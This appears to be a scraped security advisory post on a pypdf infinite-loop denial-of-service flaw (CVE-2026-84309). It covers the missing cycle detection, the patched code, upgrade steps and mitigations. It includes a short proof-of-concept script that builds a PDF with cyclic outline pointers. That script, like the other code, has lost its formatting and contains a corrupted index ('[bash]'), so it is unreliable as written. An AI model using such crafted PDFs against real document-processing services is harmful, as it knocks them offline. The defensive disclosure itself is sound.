Listen to this Post
How CVE-2026-84309 Works
pypdf is a free and open-source pure-Python PDF library used for splitting, merging, cropping, and transforming PDF files. The vulnerability resides in the `TreeObject.insert_child` method, located in pypdf/generic/_data_structures.py.
PDF documents internally organize certain hierarchical structures—such as outlines (bookmarks) and named destinations—using tree objects. Each node in such a tree contains a `/Next` pointer that links to the subsequent node in a linked-list fashion. The `TreeObject.insert_child` method is responsible for inserting a new child node into one of these tree structures. This operation is typically invoked during PDF writing or manipulation workflows (e.g., when an application adds bookmarks or merges documents with outlines).
In versions prior to 6.16.0, the `TreeObject.insert_child` method traverses the tree by following `/Next` links to locate the insertion point. However, the method lacks a cycle-detection mechanism. An attacker can craft a malicious PDF file in which the `/Next` pointers of tree nodes form a circular reference (a cyclic tree structure). When an application processes this PDF and calls TreeObject.insert_child—for instance, while attempting to add a new outline entry—the method enters an endless loop, chasing the cycle indefinitely.
Because no exit condition exists for this scenario, the loop never terminates. The application becomes unresponsive, consuming CPU resources until it crashes or is manually killed. This constitutes a denial-of-service (DoS) condition.
The attack requires that the vulnerable application invokes a writing code path where `TreeObject.insert_child` is involved. Parsing a PDF alone is not sufficient; the application must actively modify or write to the document in a way that triggers the insertion logic. The exploitation is considered easy and can be launched remotely without authentication, though it does require user interaction (e.g., opening a malicious PDF in an application that performs write operations).
The vulnerability is classified as problematic with a CVSS v4.0 base score of 6.9 (Medium). It affects all pypdf versions < 6.16.0 and has been addressed in version 6.16.0 by introducing cycle detection within the `TreeObject.insert_child` method.
DailyCVE Form:
Platform: pypdf (Python)
Version: < 6.16.0
Vulnerability: Infinite Loop (CWE-835)
Severity: Medium (CVSS 6.9)
date: 2026-09-01
Prediction: 2026-09-15
What Undercode Say:
Check installed pypdf version pip show pypdf | grep Version Upgrade to patched version pip install --upgrade pypdf==6.16.0 Verify upgrade python -c "import pypdf; print(pypdf.<strong>version</strong>)"
Vulnerable code snippet (pypdf/generic/_data_structures.py)
Prior to 6.16.0 - no cycle detection
def insert_child(self, child: Any, index: int = 0) -> None:
... existing code ...
while prev:
No check for already visited nodes
prev = prev.get("/Next") Can loop indefinitely
...
Patched code snippet (6.16.0+) - cycle detection added
def insert_child(self, child: Any, index: int = 0) -> None:
...
visited = set()
while prev and id(prev) not in visited:
visited.add(id(prev))
prev = prev.get("/Next")
...
Exploit: (Educational Purposes!)
Craft a malicious PDF with cyclic /Next pointers in its outline tree
from pypdf import PdfReader, PdfWriter
from pypdf.generic import TreeObject, NameObject, NumberObject
Create a PDF with a cyclic outline structure
writer = PdfWriter()
writer.add_blank_page(width=100, height=100)
Build a cycle: root -> child1 -> child2 -> child1
outline = TreeObject()
child1 = TreeObject()
child2 = TreeObject()
child1[NameObject("/Next")] = child2
child2[NameObject("/Next")] = child1
outline.append(child1)
Embed the cyclic outline in the PDF
writer._pages[bash][NameObject("/Outlines")] = outline
with open("malicious_cyclic.pdf", "wb") as f:
writer.write(f)
When a vulnerable application loads this PDF and attempts to insert
a new outline item, TreeObject.insert_child will loop indefinitely.
Example: writer.add_outline_item("New Item", 0)
Protection:
- Upgrade to pypdf version 6.16.0 or later immediately.
- If an immediate upgrade is not feasible, manually apply the changes from Pull Request 3964, which introduces cycle detection logic to
TreeObject.insert_child. - Avoid processing PDFs from untrusted sources in applications that write or modify PDFs.
- Implement timeout guards or resource limits around PDF processing operations to mitigate the impact of potential infinite loops.
- Monitor application logs and system resource usage for signs of CPU exhaustion indicative of a DoS attack.
Impact:
- Denial of Service (DoS): A successful attack renders the application unresponsive, affecting availability.
- Resource Exhaustion: The infinite loop consumes CPU cycles indefinitely, potentially leading to system slowdowns or crashes.
- Supply Chain Risk: Applications that embed pypdf and process user-supplied PDFs are vulnerable if they invoke the affected code path.
- No Data Breach: The vulnerability does not lead to information disclosure or integrity compromise; it solely impacts availability.
- Wide Attack Surface: Any application that uses pypdf in a writing context (e.g., PDF editors, form fillers, document merger tools) is susceptible.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
